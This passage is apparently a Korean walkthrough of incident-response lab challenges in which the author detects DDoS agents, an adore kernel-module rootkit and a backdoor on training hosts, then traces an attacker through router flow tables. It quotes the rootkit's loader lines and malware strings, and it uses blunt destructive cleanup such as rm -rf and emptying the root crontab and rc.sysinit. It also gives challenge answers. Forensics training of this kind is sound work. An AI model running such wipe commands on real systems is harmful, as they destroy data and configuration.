  root   467     1  0 20:17:29 ?        0:00 /usr/platform/SUNW,Sun-Fire-880/l
ib/sf880drd
  root   438     1  0 20:17:25 ?        0:00 /usr/lib/autofs/automountd
  root   496     1  0 20:17:40 ?        0:00 /usr/lib/power/powerd
  root   480     1  0 20:17:39 ?        0:00 /usr/lib/lpsched
  root   530   528  0 20:17:40 ?        0:00 htt_server -port 9010 -syslog -me
ssage_locale C
  root   525     1  0 20:17:40 ?        0:00 /usr/lib/sendmail -bd -q15m
  root   517   515  0 20:17:40 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   521     1  0 20:17:40 ?        0:00 /usr/sbin/vold
  root   515     1  0 20:17:40 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   528     1  0 20:17:40 ?        0:00 /usr/lib/im/htt -port 9010 -syslo
g -message_locale C
  root 13477   418  0 14:45:02 ?        0:00 in.telnetd
  root   596     1  0 20:17:42 ?        0:00 /usr/lib/snmp/snmpdx -y -c /etc/s
nmp/conf
  root   561     1  0 20:17:41 ?        0:00 /usr/lib/efcode/sparcv9/efdaemon
  root  8974     1  0 13:38:07 ?        0:00 /usr/sbin/sadmind
  root   689     1  0 20:17:44 ?        0:00 /usr/lib/dmi/snmpXdmid -s cert
  root   636     1  0 20:17:43 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root   656   596  0 20:17:43 ?        0:00 mibiisa -r -p 32797
  root   661     1  0 20:17:43 ?        0:00 /usr/lib/dmi/dmispd
  root   734   699  0 20:17:44 ?        0:00 /usr/lib/saf/ttymon
  root 21416     1  0 16:31:07 ?        0:00 /usr/sbin/rpc.listen
  root   699     1  0 20:17:44 ?        0:00 /usr/lib/saf/sac -t 300
  root 21426     1  0 16:31:07 ?        0:00 /usr/sbin/master
  root 13560 13477  0 14:46:22 pts/2    0:00 login -p -d /dev/pts/2 -h 59.5.43
.67
  root 21428 21268  0 16:31:08 pts/2    0:00 ps -ef
  root  3374   636  0 20:26:51 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root  3375   636  0 20:26:51 ?        0:00 /usr/openwin/bin/fbconsole -d :0

두가지 프로세스가 새로 생성되는 것을 볼 수 있고,
부모의 PID가 1인것을 보아 crontab을 뒤져볼 필요가 있을거 같습니다.

# cd crontabs
# ls -al
total 200
drwxr-xr-x    2 root     sys          2048 Mar 29  2006 .
drwxr-xr-x    4 root     sys           512 Sep 26  2003 ..
-rw-r--r--    1 root     sys           190 Sep 26  2003 adm
-rw-------    1 root     other      181176 Dec 20  2004 core
-r--r--r--    1 root     root          750 Sep 26  2003 lp
-rw-r--r--    1 root     sys           516 Apr 21 16:31 root
-rw-r--r--    1 root     sys           308 Sep 26  2003 sys
-r--------    1 root     training        0 Jul 10  2005 user016
-r--r--r--    1 root     sys           404 Sep 26  2003 uucp
# cat root | grep rpc.listen
10 3 * * 0,4 /usr/sbin/rpc.listen

역시 목록에 들어 있음을 볼 수 있습니다.

strings로 대상들로 부터 정보를 수집합니다.

rpc.listen :

  strings /usr/sbin/rpc.listen
rpc.listen
127. . .1
/etc/.evrc
RC_ROOT
/proc/%ld
%s/%s/pid%d.%s
.cache
restart
%s/%s/pid%d.%s.%s
Error : Failed to getting information of CERT-TR environment!
Error : Process is currenlty running..
Bind
%s %s %s
aIf3YWfOhw.V.
PONG
Recvfrom
Socket
*HELLO*
/dev/null
Fork
Chdir
Setsid
%s/%s/%s.%d
.cache
udpport
tcpport

IP로 생각되는 문자열을 발견할 수 있습니다.


master :

  strings /usr/sbin/master
master
/etc/.evrc
RC_ROOT
/proc/%ld
%s/%s/pid%d.%s
.cache
restart
%s/%s/pid%d.%s.%s
Error : Process is currenlty running..
---v
tr  oo %s
l44adsl
gOrave
17:43:33
v1.07d2+f3+c
Dec 24 2003
tr  oo %s [%s:%s]
Bind
bcast
Listing Bcasts.
quit
bye bye.
%s %s

대상 프로그램의 이름으로 짐작되는 문자열을 발견할 수 있습니다.

이제 정보를 수집하였으니, 대상 프로세스들을 종료하고 파일들을 삭제합니다.

# kill -9 21426
# kill -9 21416
# rm -rf /usr/sbin/master
# rm -rf /usr/sbin/rpc.listen
# pwd
/var/spool/cron/crontabs
# cat /dev/null > root

임시적인 문제풀이이기 떄문에, 마지막에 /dev/null을 root에 넣은 것이지 실제에서는
rpc.listen 부분만 지워주어야 합니다.

  finish
Do you want to check your result of challenge?
Select [Y]es or [N]o : y
Question > 설치된 DDoS 도구의 이름은 무엇인가?
Answer > tr  oo
Question > Master 서버의 IP는 무엇인가?
Answer > 127. . .1
Congratz! You made a success of challenge!


=====================================================
Question 6 -  물리적 보안 영역
=====================================================

먼저 ps -ef를 이용해 프로세스 목록을 구해 둡니다.

  ps -ef
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 Dec02 ?        00:00:05 init
root         2     1  0 Dec02 ?        00:00:00 [keventd]
root         3     1  0 Dec02 ?        00:00:00 [kapmd]
root         4     1  0 Dec02 ?        00:00:00 [ksoftirqd_CPU0]
root         5     1  0 Dec02 ?        00:00:00 [kswapd]
root         6     1  0 Dec02 ?        00:00:00 [bdflush]
root         7     1  0 Dec02 ?        00:00:00 [kupdated]
root         8     1  0 Dec02 ?        00:00:00 [mdrecoveryd]
root        12     1  0 Dec02 ?        00:00:00 [kjournald]
root       128     1  0 Dec02 ?        00:00:00 [kjournald]
root       443     1  0 Dec02 ?        00:00:00 syslogd -m 0
root       448     1  0 Dec02 ?        00:00:00 klogd -x
root       551     1  0 Dec02 ?        00:00:00 xinetd -stayalive -reuse -pidfil
e /var/run/xinetd.pid
root       575     1  0 Dec02 ?        00:00:00 sendmail: accepting connections
bin        606     1  0 Dec02 ?        00:00:00 cannaserver -syslog -u bin -inet
root       620     1  0 Dec02 ?        00:00:00 crond
root       641     1  0 Dec02 tty1     00:00:00 /sbin/mingetty tty1
root       642     1  0 Dec02 tty2     00:00:00 /sbin/mingetty tty2
root       643     1  0 Dec02 tty3     00:00:00 /sbin/mingetty tty3
root       644     1  0 Dec02 tty4     00:00:00 /sbin/mingetty tty4
root       645     1  0 Dec02 tty5     00:00:00 /sbin/mingetty tty5
root       646     1  0 Dec02 tty6     00:00:00 /sbin/mingetty tty6
root       649   551  0 Dec02 ?        00:00:00 in.telnetd
root       650   649  0 Dec02 ?        00:00:00 login -- root
root       651   650  0 Dec02 pts/0    00:00:00 -bash
root       748   651  0 01:17 pts/0    00:00:00 ps -ef


kstat -P 옵션을 이용해 모든 프로세스 목록을 구해 옵니다.

  kstat -P
PID  PPID  UID   GID   COMMAND
1     0     0   0     init
2     1     0   0     keventd
3     1     0   0     kapmd
4     1     0   0     ksoftirqd_CPU0
5     1     0   0     kswapd
6     1     0   0     bdflush
7     1     0   0     kupdated
8     1     0   0     mdrecoveryd
128    1     0   0     kjournald
241    1     1   0     portmap
443    1     0   0     syslogd
448    1     0   0     klogd
551    1     0   0     xinetd
575    1     0   0     sendmail
606    1     1   0     cannaserver
620    1     0   0     crond
641    1     0   0     /sbin/mingetty
642    1     0   0     /sbin/mingetty
643    1     0   0     /sbin/mingetty
644    1     0   0     /sbin/mingetty
645    1     0   0     /sbin/mingetty
646    1     0   0     /sbin/mingetty
649   551    0   0     in.telnetd
650   649    0   0     login
651   650    0   0     -bash


portmap 이라는 프로세스가 루트킷임을 짐작해 볼 수 있습니다.
이제 의심되는 모듈을 로드하는 부분이 어딘지 찾아가보면,

/etc/rc.d
# ls -al
total 485
drwxr-xr-x    2 root     other         512 Apr 21 16:46 .
drwxr-xr-x   44 root     sys         12800 Apr 21 14:46 ..
-rw-------    1 root     other      449392 May 13  2006 core
-rw-r--r--    1 root     other       22556 Apr 21 16:46 rc.sysinit

rc.sysinit의 가장 마지막 줄에

if [ -f /sbin/insmod ] ; then
       /sbin/insmod -f /usr/lib/adore.o > /dev/null 2>&1
else
       if [ -f /bin/insmod ] ; then
               /bin/insmod -f /usr/lib/adore.o > /dev/null 2>&1
       fi
fi

윗 부분이 의심 됩니다.

해당 파일들을 모두 지웁니다.

  cat /dev/null > rc.sysinit
# rm -rf /usr/lib/adore.o

  finish
Do you want to check your result of challenge?
Select [Y]es or [N]o : y
Question > lkm 모듈이 숨기려고한 프로세스의 이름을 입력하시오.
Answer > portmap
Congratz! You made a success of challenge!


=====================================================
Question 7 -  Investigation
=====================================================

# df
/                  (/dev/dsk/c1t1d0s0 ): 7779848 blocks   495157 files
/usr               (/dev/dsk/c1t1d0s4 ): 3723486 blocks   934936 files
/boot              (/dev/dsk/c1t5d0s2 ):   61414 blocks    18991 files
/proc              (/proc             ):       0 blocks    29926 files
/dev/fd            (fd                ):       0 blocks        0 files
/etc/mnttab        (mnttab            ):       0 blocks        0 files
/var               (/dev/dsk/c1t1d0s5 ):91428054 blocks  5972251 files
/var/run           (swap              ):23216992 blocks   440747 files
/tmp               (swap              ):23216992 blocks   440747 files
/data              (/dev/dsk/c1t1d0s6 ):    4408 blocks    18876 files
/home1             (/dev/dsk/c1t2d0s7 ):137973652 blocks  8473929 files
/backup            (/dev/dsk/c1t1d0s7 ):  219640 blocks    57019 files
/home3             (/dev/dsk/c1t4d0s7 ):141184988 blocks  8476538 files
/home4             (/dev/dsk/c1t5d0s0 ):  582428 blocks   152061 files
/home              (/dev/dsk/c1t5d0s3 ): 2641676 blocks   324324 files
/mnt               (/dev/dsk/c1t5d0s7 ):133757598 blocks  8056345 files

dd를 이용해 img로 만듭니다.

  cd /home1/user001
# ls -al
total 15999
drwxr-xr-x    2 user001  training      512 Apr 22 19:23 .
drwxr-xr-x  108 root     root         2048 Apr 17 17:49 ..
-rw-r--r--    1 user001  training      185 Apr 22 19:02 .profile
-rw-r--r--    1 user001  training      124 Apr 22 19:02 local.cshrc
-rw-r--r--    1 user001  training      607 Apr 22 19:02 local.login
-rw-r--r--    1 user001  training      582 Apr 22 19:02 local.profile
-rw-r--r--    1 root     other      726658 Apr 22 19:23 tct-1.12.tar.gz
# dd if=/dev/dsk/c1t1d0s6 of=/home1/user001/backup.img
30528+0 records in
30528+0 records out
# ls -al
total 31271
drwxr-xr-x    2 user001  training      512 Apr 22 19:24 .
drwxr-xr-x  108 root     root         2048 Apr 17 17:49 ..
-rw-r--r--    1 user001  training      185 Apr 22 19:02 .profile
-rw-r--r--    1 root     other    15630336 Apr 22 19:24 backup.img
-rw-r--r--    1 user001  training      124 Apr 22 19:02 local.cshrc
-rw-r--r--    1 user001  training      607 Apr 22 19:02 local.login
-rw-r--r--    1 user001  training      582 Apr 22 19:02 local.profile
-rw-r--r--    1 root     other      726658 Apr 22 19:23 tct-1.12.tar.gz

tct-1.12.tar.gz의 압축을 풀고 해당 폴더의 bin디렉토리에 들어갑니다.

# ./unrm
        ../../backup.img > worm.result

명령을 하신 후,
worm.result를 잘 뒤져보면 답을 구할 수 있습니다. -_-


=====================================================
Question 8 -  Dos 방어
=====================================================

먼저 라우터들의 IP를 구합니다.

  cat /etc/hosts
#
# Internet host table
#
127.0.0.1       localhost
172.16.5.111    zolaris loghost
172.16.5.1              router1
10.10.10.1              router2
10.222.88.144   router3
10.222.88.73    router4

첫번째 라우터부터 차례로 들어가며 명령을 set 해줍니다.

- 첫번째 라우터는 별로 건질게 없는것으로 보입니다.

두번째 라우터 :

Router2# sh ip cache flow | include 5.5
sh command Argument ip cache flow | include 5.5
       Se1     5.5.4.1 EI0     172.16.5.111    06 040c 0050 299

Router2# sh ip cef se1
sh command Argument ip cef se1
       Prefix                    Next Hop            Interface
       10.222.88.128./25         attached            Serial0
       10.222.88.144/32          10.222.88.144       Ethernet1
       10.222.88.73/32           10.222.88.73        Ethernet1

첫번째 시리얼에 5.5를 포함하는 연결이 있음을 알 수 있고,
다음 hop들이 차례로 router3,router4인것을 볼 수 있습니다.
그럼으로 router3,router4에 대한 추가적인 분석이 필요해 보입니다.

세번째 라우터 :

Router3# sh ip cache flow | include 5.5
sh command Argument ip cache flow | include 5.5
Router3#

세번째 라우터에는 연결이 없는것으로 보입니다.

네번쨰 라우터 :
Router4# sh ip cache flow | include 5.5
sh command Argument ip cache flow | include 5.5
       Se1     5.5.4.1 EI0     172.16.5.111    06 040c 0050 6673

Router4# sh ip cef se1
sh command Argument ip cef se1
       Prefix                   Next Hop             Interface
       222.168.97.0/24          attached             Serial0
      222.   .97.2/32          222.   .97.2         Ethernet1
Router4#

드디어 라우터의 ip가 아닌 hop을 찾아내었습니다.
해당 주소가 공격자의 ip로 의심됩니다.

# finish
Do you want to check your result of challenge?
Select [Y]es or [N]o : y
Question > 공격자의 IP 주소는 무엇인가?
Answer > 222.   .97.2
Congratz! You made a success of challenge!

공격자의 접속을 막기위해서 인증전에 다음을 행해 주셔야 합니다. :

conf t
access-list 105 deny ip host 5.5.4.1 any
access-list 105 permit ip any any
exit
w


=====================================================
Question 9 -  Investigation
=====================================================

먼저 해당 문제를 시작하기 전에 process list들을 구해둡니다
# ps -ef
    UID   PID  PPID  C    STIME TTY      TIME CMD
  root   700     1  0   Apr 20 console  0:00 /usr/lib/saf/ttymon -g -h -p cer
console login:  -T sun -d /dev/console -l con
  root   168     1  0   Apr 20 ?        0:00 ipmon -Ds
  root 14678 14670  0 22:43:59 pts/2    0:00 ps -ef
  root    65     1  0   Apr 20 ?        0:00 /usr/lib/sysevent/syseventd
  root    79     1  0   Apr 20 ?        1:37 /usr/lib/picl/picld
  root    74     1  0   Apr 20 ?        0:00 devfsadmd
  root   185     1  0   Apr 20 ?        0:00 /usr/lib/inet/in.ndpd
  root   418     1  0   Apr 20 ?        0:00 /usr/sbin/rcinetd -s
  root   204     1  0   Apr 20 ?        0:00 /usr/sbin/rpcbind
  root   454     1  0   Apr 20 ?        0:00 /usr/sbin/cron
  root   445     1  0   Apr 20 ?        0:00 /usr/sbin/rcsyslogd
  root   469     1  0   Apr 20 ?        0:00 /usr/sbin/nscd
  root   431     1  0   Apr 20 ?        0:00 /usr/lib/nfs/lockd
  root   419     1  0   Apr 20 ?        0:00 /usr/sbin/in.named
  root   467     1  0   Apr 20 ?        0:00 /usr/platform/SUNW,Sun-Fire-880/
ib/sf880drd
  root   438     1  0   Apr 20 ?        0:00 /usr/lib/autofs/automountd
  root   496     1  0   Apr 20 ?        0:00 /usr/lib/power/powerd
  root   480     1  0   Apr 20 ?        0:00 /usr/lib/lpsched
  root   530   528  0   Apr 20 ?        0:00 htt_server -port 9010 -syslog -m
ssage_locale C
  root   525     1  0   Apr 20 ?        0:00 /usr/lib/sendmail -bd -q15m
  root   517   515  0   Apr 20 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   521     1  0   Apr 20 ?        0:01 /usr/sbin/vold
  root   515     1  0   Apr 20 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   528     1  0   Apr 20 ?        0:00 /usr/lib/im/htt -port 9010 -sysl
g -message_locale C
  root   596     1  0   Apr 20 ?        0:00 /usr/lib/snmp/snmpdx -y -c /etc/
nmp/conf
  root   561     1  0   Apr 20 ?        0:00 /usr/lib/efcode/sparcv9/efdaemon
  root  8974     1  0 13:38:07 ?        0:00 /usr/sbin/sadmind
  root   689     1  0   Apr 20 ?        0:00 /usr/lib/dmi/snmpXdmid -s cert
  root   636     1  0   Apr 20 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root   656   596  0   Apr 20 ?        0:00 mibiisa -r -p 32797
  root   661     1  0   Apr 20 ?        0:00 /usr/lib/dmi/dmispd
  root   734   699  0   Apr 20 ?        0:00 /usr/lib/saf/ttymon
  root   699     1  0   Apr 20 ?        0:00 /usr/lib/saf/sac -t 300
  root 14616 14535  0 22:43:42 pts/2    0:00 login -p -d /dev/pts/2 -h 59.5.4
.67
  root 14535   418  0 22:42:22 ?        0:00 in.telnetd
  root  3374   636  0   Apr 20 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root  3375   636  0   Apr 20 ?        0:00 /usr/openwin/bin/fbconsole -d :0
  root 14670 14663  0 22:43:52 pts/2    0:00 sh


이제 문제를 시작한 후,
리스들을 다시 구해옵니다.

    UID   PID  PPID  C    STIME TTY      TIME CMD
  root   700     1  0   Apr 20 console  0:00 /usr/lib/saf/ttymon -g -h -p cert
console login:  -T sun -d /dev/console -l con
  root   168     1  0   Apr 20 ?        0:00 ipmon -Ds
  root    65     1  0   Apr 20 ?        0:00 /usr/lib/sysevent/syseventd
  root    79     1  0   Apr 20 ?        1:37 /usr/lib/picl/picld
  root    74     1  0   Apr 20 ?        0:00 devfsadmd
  root   185     1  0   Apr 20 ?        0:00 /usr/lib/inet/in.ndpd
  root   418     1  0   Apr 20 ?        0:00 /usr/sbin/rcinetd -s
  root   204     1  0   Apr 20 ?        0:00 /usr/sbin/rpcbind
  root   454     1  0   Apr 20 ?        0:00 /usr/sbin/cron
  root   445     1  0   Apr 20 ?        0:00 /usr/sbin/rcsyslogd
  root   469     1  0   Apr 20 ?        0:00 /usr/sbin/nscd
  root   431     1  0   Apr 20 ?        0:00 /usr/lib/nfs/lockd
  root   419     1  0   Apr 20 ?        0:00 /usr/sbin/in.named
  root   467     1  0   Apr 20 ?        0:00 /usr/platform/SUNW,Sun-Fire-880/l
ib/sf880drd
  root   438     1  0   Apr 20 ?        0:00 /usr/lib/autofs/automountd
  root   496     1  0   Apr 20 ?        0:00 /usr/lib/power/powerd
  root   480     1  0   Apr 20 ?        0:00 /usr/lib/lpsched
  root   530   528  0   Apr 20 ?        0:00 htt_server -port 9010 -syslog -me
ssage_locale C
  root   525     1  0   Apr 20 ?        0:00 /usr/lib/sendmail -bd -q15m
  root   517   515  0   Apr 20 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   521     1  0   Apr 20 ?        0:01 /usr/sbin/vold
  root   515     1  0   Apr 20 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   528     1  0   Apr 20 ?        0:00 /usr/lib/im/htt -port 9010 -syslo
g -message_locale C
  root   596     1  0   Apr 20 ?        0:00 /usr/lib/snmp/snmpdx -y -c /etc/s
nmp/conf
  root   561     1  0   Apr 20 ?        0:00 /usr/lib/efcode/sparcv9/efdaemon
  root  8974     1  0 13:38:07 ?        0:00 /usr/sbin/sadmind
  root   689     1  0   Apr 20 ?        0:00 /usr/lib/dmi/snmpXdmid -s cert
  root   636     1  0   Apr 20 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root   656   596  0   Apr 20 ?        0:00 mibiisa -r -p 32797
  root   661     1  0   Apr 20 ?        0:00 /usr/lib/dmi/dmispd
  root   734   699  0   Apr 20 ?        0:00 /usr/lib/saf/ttymon
  root 14727 14670  0 22:44:31 pts/2    0:00 ps -ef
  root   699     1  0   Apr 20 ?        0:00 /usr/lib/saf/sac -t 300
  root 14723     1  0 22:44:29 ?        0:00 /usr/bin/.
  root 14616 14535  0 22:43:42 pts/2    0:00 login -p -d /dev/pts/2 -h 59.5.43
.67
  root 14535   418  0 22:42:22 ?        0:00 in.telnetd
  root  3374   636  0   Apr 20 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root  3375   636  0   Apr 20 ?        0:00 /usr/openwin/bin/fbconsole -d :0
  root 14670 14663  0 22:43:52 pts/2    0:00 sh

의심되는 process인 pid 14723을 발견 하였습니다.

# cd /proc/14723/object
# ls -al
total 2540
dr-x------    2 root     other         544 Apr 21 23:01 .
dr-x--x--x    5 root     other         736 Apr 21 23:01 ..
-r-xr--r--    1 root     other      125708 Apr 21 23:01 a.out
-r-xr-xr-x    1 root     bin          4848 May  6  2006 ufs.118.28.306902
-r-xr-xr-x    1 root     bin          5292 May  6  2006 ufs.118.28.343137
-r-xr-xr-x    1 root     bin         24968 May  6  2006 ufs.118.28.343169
-r-xr-xr-x    1 root     bin        238608 May  6  2006 ufs.118.28.343181
-r-xr-xr-x    1 root     bin         70864 May  6  2006 ufs.118.28.343185
-r-xr-xr-x    1 root     bin       1158072 May  6  2006 ufs.118.28.343531
-r-xr-xr-x    1 root     bin        911328 May  6  2006 ufs.118.28.343533
# strings a.ou
             t
backdoor
/etc/.evrc
RC_ROOT
/proc/%ld
%s/%s/pid%d.%s
.cache
restart
%s/%s/pid%d.%s.%s
Command (type 'quit' to quit) :
connection closed by client
Recv
quit
Received Data :
Error : Failed to getting information of CERT-TR environment!
Error : Process is currenlty running..
Accept
Listen
Bind
SetSocketOpt
Socket
/dev/null
Fork
Chdir
Setsid
%s/%s/%s.%d
.cache
udpport
tcpport

내부에 백도어라고 써있는 것을 보아, 대상 프로그램이 맞는것으로 보입니다.

대상 프로세스가 사용하는 파일들을 구합니다.

# /usr/local/bin/lsof -p 14723
lsof: WARNING: bad section count line in /root/.lsof_cert: line "4 sections, dev
=7600000000"
lsof: WARNING: can't unlink /root/.lsof_cert: Permission denied
COMMAND   PID USER   FD   TYPE        DEVICE SIZE/OFF   NODE NAME
.^T.4   15858 root  cwd   VDIR        118,24     1024      2 /
.^T.4   15858 root  txt   VREG        118,28   125708 626207 /usr/bin/.^T.4
.^T.4   15858 root  txt   VREG        118,28  1158072 343531 /usr/lib/libc.so.1
.^T.4   15858 root  txt   VREG        118,28   911328 343533 /usr/lib/libnsl.so.
1
.^T.4   15858 root  txt   VREG        118,28    24968 343169 /usr/lib/libmp.so.2
.^T.4   15858 root  txt   VREG        118,28     4848 306902 /usr/platform/sun4u
-us3/lib/libc_psr.so.1
.^T.4   15858 root  txt   VREG        118,28    70864 343185 /usr/lib/libsocket.
so.1
.^T.4   15858 root  txt   VREG        118,28     5292 343137 /usr/lib/libdl.so.1
.^T.4   15858 root  txt   VREG        118,28   238608 343181 /usr/lib/ld.so.1
.^T.4   15858 root    0r  VCHR          13,2      0t0  30209 /devices/pseudo/mm@
0:null
.^T.4   15858 root    1w  VCHR          13,2      0t0  30209 /devices/pseudo/mm@
0:null
.^T.4   15858 root    2w  VCHR          13,2      0t0  30209 /devices/pseudo/mm@
0:null
.^T.4   15858 root    3u  IPv4 0x3000848b848      0t0    TCP *:42904 (LISTEN)

find 를 이용해 찾아 보면,

# find /usr/bin -name ".*" -exec ls -alQ {} \;
-r-xr-xr-x    1 root     other           0 May 24  2005 "/usr/bin/.\024.6"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.3"
-r-xr-xr-x    1 root     other           0 May 24  2005 "/usr/bin/.\024.7"
-r-xr-xr-x    1 root     other      125708 May 30  2005 "/usr/bin/.\024.99"
-r-xr-xr-x    1 root     other           0 May 26  2005 "/usr/bin/.\024.8"
-r-xr-xr-x    1 root     other           0 May 26  2005 "/usr/bin/.\024.9"
-r-xr-xr-x    1 root     other           0 May 26  2005 "/usr/bin/.\024.10"
-r-xr-xr-x    1 root     other           0 May 26  2005 "/usr/bin/.\024.11"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.12"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.13"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.14"
-r-xr-xr-x    1 root     other           0 May 27  2005 "/usr/bin/.\024.15"
-r-xr-xr-x    1 root     other           0 May 27  2005 "/usr/bin/.\024.16"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.17"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.24"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.27"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.28"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.29"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.32"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.33"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.36"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.37"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.38"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.39"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.40"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.41"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.42"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.43"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.44"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.45"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.46"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.47"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.48"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.49"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.50"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.51"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.52"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.53"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.54"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.55"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.56"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.57"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.58"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.59"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.60"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.61"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.62"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.63"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.64"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.65"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.66"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.67"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.68"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.69"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.70"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.71"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.72"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.73"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.74"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.75"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.76"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.77"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.78"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.79"
-r-xr-xr-x    1 root     other           0 May 12  2005
                                                       "/usr/bin/.\024.80"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.81"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.82"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.83"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.84"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.85"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.86"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.87"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.88"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.89"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.90"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.91"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.92"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.93"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.94"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.95"
-r-xr-xr-x    1 root     other      125708 May 30  2005 "/usr/bin/.\024.96"
-r-xr-xr-x    1 root     other      125708 May 30  2005 "/usr/bin/.\024.97"
-r-xr-xr-x    1 root     other      125708 May 30  2005 "/usr/bin/.\024.98"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.100"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.101"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.102"
-r-xr-xr-x    1 root     other           0 May 12  2005 "/usr/bin/.\024.103"

좀 많습니다.

#find /usr/bin -name ".*" -exec rm -rf {} \;
#
  finish
Do you want to check your result of challenge?
Select [Y]es or [N]o : y
Congratz! You made a success of challenge!

통과 됬네요.

=====================================================
Question 10 -  조사단계
=====================================================

before  :

# ps -ef
    UID   PID  PPID  C    STIME TTY      TIME CMD
  root   700     1  0   Apr 20 console  0:00 /usr/lib/saf/ttymon -g -h -p cert
console login:  -T sun -d /dev/console -l con
  root   168     1  0   Apr 20 ?        0:00 ipmon -Ds
  root    65     1  0   Apr 20 ?        0:00 /usr/lib/sysevent/syseventd
  root    79     1  0   Apr 20 ?        1:43 /usr/lib/picl/picld
